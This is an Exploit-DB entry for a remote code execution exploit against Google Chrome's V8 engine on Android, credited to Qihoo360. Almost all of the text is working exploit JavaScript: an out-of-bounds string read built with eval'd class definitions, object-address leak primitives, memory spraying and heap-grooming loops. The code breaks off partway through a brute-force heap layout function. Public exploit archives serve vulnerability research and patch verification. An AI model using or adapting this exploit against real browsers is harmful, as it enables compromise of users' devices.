Exploit-DB #42175
Description: Google Chrome - V8 Private Property Arbitrary Code Execution
Type: remote
Platform: android
Date: 2017-06-14
Author: Qihoo360

Exploit:
<html>
// Source: https://github.com/secmob/pwnfest2016/
<script>
function exploit(){

function to_hex(num){
    return (num>>>0).toString(16);
}
function intarray_to_double(int_arr){
    var uBuf = new Uint32Array(2);
    var dBuf = new Float64Array(uBuf.buffer);
        uBuf[0]=int_arr[0];
        uBuf[1]=int_arr[1];
    return dBuf[0];
}

function str_to_double(str){//leng of str must be 8
    var dBuf = new Float64Array(1);
    var u8Buf = new Uint8Array(dBuf.buffer);
    for(var i=0;i<str.length;i++){
        u8Buf[i] = str.charCodeAt(i);
    }
    return dBuf[0];
}
function double_to_array(value){
    var uBuf = new Uint32Array(2);
    var dBuf = new Float64Array(uBuf.buffer);
    dBuf[0]=value;
    return uBuf;
}

function gc(){
    for(var i=0;i<0x100000/16;i++){
        new String;
    }
}
function getHiddenValue(){
    var obj = {};
    var oob = "/re/";
    //oob = oob.replace("re","*".repeat(0x2000));
    oob = oob.replace("re","*".repeat(0x100000));
    var str =  'class x extends Array{'+oob+"}";
    var fun = eval(str);
    Object.assign(obj,fun);
    return obj;
}
var obWin;
function makeOobString(){
    var hiddenValue = getHiddenValue();
    var magicStr = "bbbb";
    var arr=[];
    var str =  'class x extends Array{}';
    for(var i=0;i<str.length;i++){
        arr[i]=str.charCodeAt(i);
    }
    var ob = new Array(0x200);
    ob.fill(0x31313131);
    gc();
    gc();
    str=String.fromCharCode.apply(null,arr);
    ob=ob.concat(0x32323232);
    var fun = eval(str); 
    ob[2]=str;
    ob[3]=ob;
    Object.assign(fun,hiddenValue);
    var oobString = fun.toString();
    gc();
    gc();
    print("begin search");
    var subStr = oobString.substr(0,0x8000);
    var pos = subStr.indexOf(magicStr);
    print("end search");
    if(pos==-1){
        print("find magic failed");
        postMessage(false);
        self.close();
        print("unpossible");
        throw "error";
    }else{
        print("find magic at "+pos);

    }
    oobString = oobString.substr(pos,ob.length*4);
    obWin=ob;
    return oobString;
}
var oobString = makeOobString();
print("get oob string successfully");
function print(){
    console.log.apply(null,arguments);
    /*document.write('<p >');
    document.write.apply(document,arguments);
    document.write("<p>");*/
}
function str2arr(str,len){//len must be multile of 4
    if(len===undefined)
        len = str.length;
    var u8a = new Uint8Array(len);
    for(var i=0;i<len;i++){
        u8a[i] = str.charCodeAt(i);
    }
    return new Uint32Array(u8a.buffer);
}
function pArrayInHex(arr){
    var result="<p style='font-size:8px'>";
    for(var i=0;i<arr.length;i++){
        result+=(arr[i]+0x100000000).toString(16).substr(-8);
        result+=" ";
        if(i%8==7)
            result+="<p style='font-size:8px'>";
    }
    result+="<p>";
    print(result);
    //alert(result);
    return result;
}
function pStrInHex(str){
    //var result="<p style='font-size:8px'>";
    var result="\n";
    for(var i=0;i<str.length;i++){
        var code = str.charCodeAt(i);
        result+=(code+0x100).toString(16).substr(-2);
        if(i%4==3)
            result+=" ";
        if(i%32==31)
           // result+="<p style='font-size:8px'>";
           result+="\n";
    }
   // result+="<p>";
    result+="\n";
    print(result);
    return result;
}
function getObjAddr(obj){
    obWin[0]=obj;
    var value2= ((str2arr(oobString,4))[0]);
    return value2>>>0;
}

var getObj24BitsAddr = function(){
    var smi=0;
    var code = 0;
    var i=0;
    //don't allocate heap object
    function getAddr(obj){
        obWin[0]=obj;
        value=0;
        code = 0;
        i=0;
        for(i=2;i>=0;i--){
            code = oobString.charCodeAt(i);
            value = code+value*256;
        }
        return value;
    }
    return getAddr;
}();


var lengthInOldSpace = 0xfffffffc;
var abarr=new Array(800);
function sprayVM(){
    var i=0;
    var j=0;
    try{
        for(i=0;i<20;i++){
            var u8 = new Uint8Array(0x10000000-0x500);
            abarr[i]=u8;
        }
    }catch(e){}
    try{
        for(j=0;j<100;j++){
            var u8 = new Uint8Array(0x8000000-0x500);
            abarr[i+j]=u8;
        }
    }catch(e){}
    print("allocate "+i+" 256M "+j+" 16M ")
    function getRandomInt(min, max) {
        min = Math.ceil(min);
        max = Math.floor(max);
        return Math.floor(Math.random() * (max - min)) + min;
    }
    delete abarr[getRandomInt(0,i)];
}


function getNewSpaceAddrs(){
    /*var kMaxRegularHeapObjectSize =523776;// 507136;
    var str="1".repeat(kMaxRegularHeapObjectSize-0x2000);
    str+="%";*/
    var objsInNewSpace = new Array(80);
    for(var i=0;i<objsInNewSpace.length;i++){
        //var xx=escape(str);
        var xx = new Array(0x70000/4);
        objsInNewSpace[i]=(getObjAddr(xx)&0xfff00000)>>>0;
        //使newspace更离散
        new Uint8Array(0x100000-0x500);
        new Uint8Array(0x100000-0x500);
    }
    function compareNumbers(a, b) {
      return a - b;
    }
    objsInNewSpace = Array.from(new Set(objsInNewSpace));
    objsInNewSpace = objsInNewSpace.sort(compareNumbers);
    return objsInNewSpace;
}


print("begin get new space address");
var objsInNewSpace = getNewSpaceAddrs();
while(objsInNewSpace.length<16){
    objsInNewSpace = getNewSpaceAddrs();
    print("new space addresses");
    pArrayInHex(objsInNewSpace);
}

try{
sprayVM();
}catch(e){}

var selectedTrunk = 0;
var selectedStr = "";
function bruteForceFengShui(){
    var huge_str = "x".repeat(0x100000-0x9000);//-0x9000
    huge_str +="%";
    var hold = new Array(100);
    //var holdaddress = new Array(100);
    for(var i=0;;i++){
        var large = escape(huge_str);
        var addr = getObjAddr(large);
        //console.log